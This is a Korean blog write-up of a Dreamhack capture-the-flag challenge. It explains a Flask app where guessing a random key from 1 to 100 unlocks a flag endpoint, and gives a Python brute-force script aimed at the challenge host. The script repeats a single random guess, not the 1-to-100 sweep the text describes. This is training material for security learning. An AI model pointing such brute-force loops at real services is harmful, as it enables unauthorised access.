반응형
문제설명
3초 안에 키를 찾을 수 있나요?
코드분석
@app.route('/race')
def race():
global getflag, key
user_input_str = request.args.get('user')
if user_input_str is None:
return "Please use user parameter"
try:
userinput = int(user_input_str)
except ValueError:
return "ERROR"
if userinput == key:
getflag = 1
return "WOW"
else:
time.sleep(3)
key = random.randint(1, 100)
return "NOPE"
- 전역변수로 getflag, key 선언
- 쿼리파라미터로 user 사용
- 없으면 Please use user Parameter 출력 / 키랑 같으면 wow 아니면 Nope
@app.route('/flag')
def flag():
global getflag
if getflag == 1:
getflag = 0
return f"FLAG IS {FLAG}"
else:
return "NOPE!!"
- getflag == 1이 되면 플래그 나옴
- 아니면 NOPE
익스플로잇
1 ~ 100까지 브루트 포싱하면 됨
다음과 같이 페이로드를 작성해줌
import requests, random
url1 = 'http://host3.dreamhack.games:8242/race'
url2 = 'http://host3.dreamhack.games:8242/flag'
cnt = 0
key = random.randint(1,100)
while True:
cnt += 1
payload = {'user' : key}
print(f'[*] input cnt={cnt} , key={key}')
res = requests.get(url1, params = payload)
if 'WOW' in res.text:
print(f'[+] found the key: {key} . Getting flag...')
res = requests.get(url2)
print(res.text)
break

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Fishing (0) | 2026.03.05 |
|---|---|
| Really Not SQL (0) | 2026.02.23 |
| Test Your Luck (0) | 2026.02.19 |
| My Best Friend (0) | 2026.02.19 |
| Hangul - Revenge (0) | 2026.02.19 |